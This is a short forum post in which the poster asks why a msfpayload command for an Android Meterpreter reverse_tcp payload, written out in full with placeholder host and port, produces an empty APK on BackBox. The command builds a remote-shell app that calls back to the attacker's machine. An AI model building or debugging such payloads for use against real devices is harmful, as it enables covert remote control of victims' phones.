[UNSOLVED] Msfvenom Android Payload Problem

Hi guys first thx to all who help me alot i have a simple problem with my msfvenom when i create my payload

msfpayload android/meterpreter/reverse_tcp LHOST=my ip LPORTmy port R > /root/name.apk

the seize of payload after create is 0 buyte

can any one eplain to me why and how to fix this problem btw i use backbox os